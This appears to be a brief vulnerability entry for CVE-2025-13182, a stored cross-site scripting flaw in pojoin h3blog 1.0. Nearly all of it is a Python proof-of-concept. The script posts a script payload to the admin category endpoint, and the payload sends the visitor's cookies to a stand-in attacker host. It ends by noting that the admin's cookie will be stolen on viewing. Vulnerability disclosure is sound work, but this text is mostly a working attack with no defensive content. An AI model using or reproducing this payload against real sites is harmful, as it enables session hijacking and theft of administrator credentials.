CVE-2025-13182 | pojoin h3blog 1.0 跨站脚本(XSS)漏洞

import requests # CVE-2025-13182 PoC - XSS in pojoin h3blog 1.0 # Target: /admin/cms/category/addtitle # Parameter: Title url = "http://target.com/admin/cms/category/addtitle" # XSS payload - Cookie stealing example payload = { "Title": "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>", # Add other required parameters } # If authentication is required, include session cookies cookies = { "session": "admin_session_here" } # Send the malicious request response = requests.post(url, data=payload, cookies=cookies) print("XSS payload sent. Payload stored in database.") print("When admin visits category list, cookie will be stolen.")